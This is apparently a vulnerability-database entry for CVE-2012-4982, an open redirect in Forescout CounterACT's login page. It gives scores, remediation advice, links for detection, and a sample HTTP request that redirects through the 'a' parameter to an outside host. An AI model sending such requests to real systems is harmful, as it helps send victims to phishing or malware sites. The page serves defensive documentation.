🔙 목록으로 돌아가기

CVE-2012-4982: Forescout CounterACT 6.3.4.1 - Open Redirect

TitleForescout CounterACT 6.3.4.1 - Open Redirect
Authorctflearner
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the download of malware.
RemediationApply the latest security patches or upgrade to a newer version of Forescout CounterACT to fix the open redirect vulnerability.
CVSS Score5.8
EPSS Score0.1931
CVE IDCVE-2012-4982
CWE IDCWE-20
Tags cve cve2012 redirect forescout counteract vuln

🔍 Vulnerability Description

Open redirect vulnerability in assets/login on the Forescout CounterACT NAC device before 7.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the ‘a’ parameter.

🌐 HTTP Request

GET /assets/login?a=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6_6; de) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4982.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-4982.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A